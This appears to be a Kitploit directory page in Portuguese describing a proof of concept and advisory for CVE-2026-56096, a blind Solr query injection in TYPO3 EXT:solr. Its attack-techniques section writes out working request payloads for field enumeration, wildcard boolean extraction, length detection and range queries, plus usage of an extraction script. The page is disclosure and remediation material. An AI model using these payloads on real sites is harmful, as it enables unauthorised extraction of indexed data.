Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-56096 — Prova de conceito e análise técnica para CVE-2026-56096, uma injeção cega de consulta Solr no TYPO3 EXT:solr que permite enumeração de campos e extração de dados sem autenticação. | Kitploit
Ferramentas/GitHubGitHub/yairhinkis/cve-2026-56096
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesSegurança WebPapers e Pesquisa
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Prova de conceito e análise técnica para CVE-2026-56096, uma injeção cega de consulta Solr no TYPO3 EXT:solr que permite enumeração de campos e extração de dados sem autenticação.

Ver Repositório
345há 29 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-56096: Injeção de Consulta Solr e Extração Cega de Dados no TYPO3 EXT:solr

Uma vulnerabilidade de segurança arquitetural foi descoberta na extensão oficial do Apache Solr para TYPO3 (EXT:solr / apache-solr-for-typo3/solr). O problema permite que atacantes remotos não autenticados injetem sintaxe arbitrária de consulta Solr/Lucene por meio do parâmetro de busca tx_solr[q], possibilitando a enumeração cega não autorizada de campos e a extração completa de metadados do índice de busca.


Metadados

  • ID CVE: CVE-2026-56096
  • Tipo de Vulnerabilidade: CWE-943: Neutralização Imprópria de Elementos Especiais em Lógica de Consulta de Dados
  • Componente Alvo: EXT:solr (Parâmetro de busca: tx_solr[q])
  • Pontuação CVSS v4.0: 6.3 (Média) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Pesquisador: Yair Hinkis

Visão Geral da Vulnerabilidade

A extensão EXT:solr aceita termos de busca fornecidos pelo usuário por meio do parâmetro tx_solr[q] e os encaminha ao motor Apache Solr. Por design, a extensão permite operadores de consulta específicos—como curingas (*), curingas de caractere único (?), seletores de campo (:) e consultas de intervalo ([a TO z])—para suportar funcionalidades legítimas como filtragem facetada.

Como esses caracteres eram passados diretamente à construção da consulta no backend sem uma lista de permissões restritiva ou uma camada de abstração de consulta, um atacante pode fornecer sintaxe específica de campo para escapar dos limites de busca pretendidos. Isso permite que usuários não autenticados consultem campos internos do Solr diretamente e extraiam dados do índice usando técnicas cegas baseadas em booleanos.


Técnicas de Ataque

1. Enumeração de Campos via field:*

Ao anexar um curinga a um nome de campo arbitrário ou suposto, um atacante pode verificar se o campo existe no schema:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

Se o campo existir, o Solr processa a consulta em todos os registros correspondentes (frequentemente acionando códigos de resposta distintos ou comportamentos relacionados ao volume), permitindo a enumeração automatizada de campos com base em wordlists.


2. Extração Cega de Valores via Wildcards de Prefixo

Atacantes podem extrair valores sensíveis de campos caractere por caractere usando inferência booleana:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. Detecção de Comprimento via o Operador ?

O operador curinga de caractere único (?) pode determinar o comprimento exato de uma string armazenada antes de iniciar a iteração de caracteres:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. Consultas de Intervalo Aceleradas ([a TO z])

As consultas de intervalo permitem a extração por busca binária no caractere inicial, reduzindo as requisições necessárias de 26 para ~5 por posição de caractere:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

A combinação de detecção de comprimento, consultas de intervalo e curingas de prefixo permite a extração completa do campo com um footprint mínimo de requisições.


Prova de Conceito / Uso

Um script de verificação automatizado (poc.py) é fornecido para demonstrar a extração cega usando as técnicas descritas acima.

Exemplo de Uso

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

Opções

  • -u, --url: URL de destino apontando para o endpoint de busca do TYPO3.

  • -f, --field: Nome do campo do schema a enumerar/extrair (por exemplo, appKey, siteHash).

  • -c, --cookies: (Opcional) Cookies de sessão caso seja necessária autenticação/verificação de bypass de WAF.

  • -o, --output: Arquivo de saída para armazenar os prefixos descobertos (padrão: validated_fields.txt).


Impacto

  • Violação de Confidencialidade: Extração completa de todos os campos indexados no Apache Solr (por exemplo, hashes internos do sistema, conteúdo de páginas ocultas, metadados relacionados a usuários e identificadores do sistema).
  • Bypass de Controle de Acesso: Contorna os filtros de busca do frontend e as restrições de exibição do TypoScript.
  • Escopo: Afetava todas as instalações padrão que utilizam o endpoint de busca EXT:solr.

Remediação

O escape global de caracteres é insuficiente porque operadores como * e : atendem a funcionalidades de busca previstas. A remediação exige um modelo de whitelist e parsing na camada de aplicação:

  1. Analisar as strings de consulta fornecidas pelo usuário em uma Árvore de Sintaxe Abstrata (AST) antes de despachá-las ao motor Solr.
  2. Aplicar allowlists estritas sobre os campos de destino permitidos, proibindo consultas diretas do usuário contra campos internos ou restritos.
  3. Neutralizar o abuso de operadores não permitidos originados de contextos de entrada não confiáveis.

Cronologia de Divulgação Coordenada

  • 6 de março de 2026: Vulnerabilidade identificada durante uma avaliação autorizada; notificação inicial ao fornecedor.
  • 17 de abril de 2026: Fornecedor implementou mitigações locais de borda; confirmou a natureza do bug upstream.
  • 8 de maio de 2026: Relatório formal de vulnerabilidade enviado à Equipe de Segurança do TYPO3 ([email protected]).
  • 15 de junho de 2026: Equipe de Segurança do TYPO3 confirmou a reprodução e iniciou o desenvolvimento do patch com os mantenedores da extensão.
  • 25 de agosto de 2026: Boletim de segurança oficial emitido, patch publicado e CVE-2026-56096 atribuído.

Referências

  • Aviso de Segurança do TYPO3: TYPO3-EXT-SA-2026-025
  • Definição CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Baixar ferramenta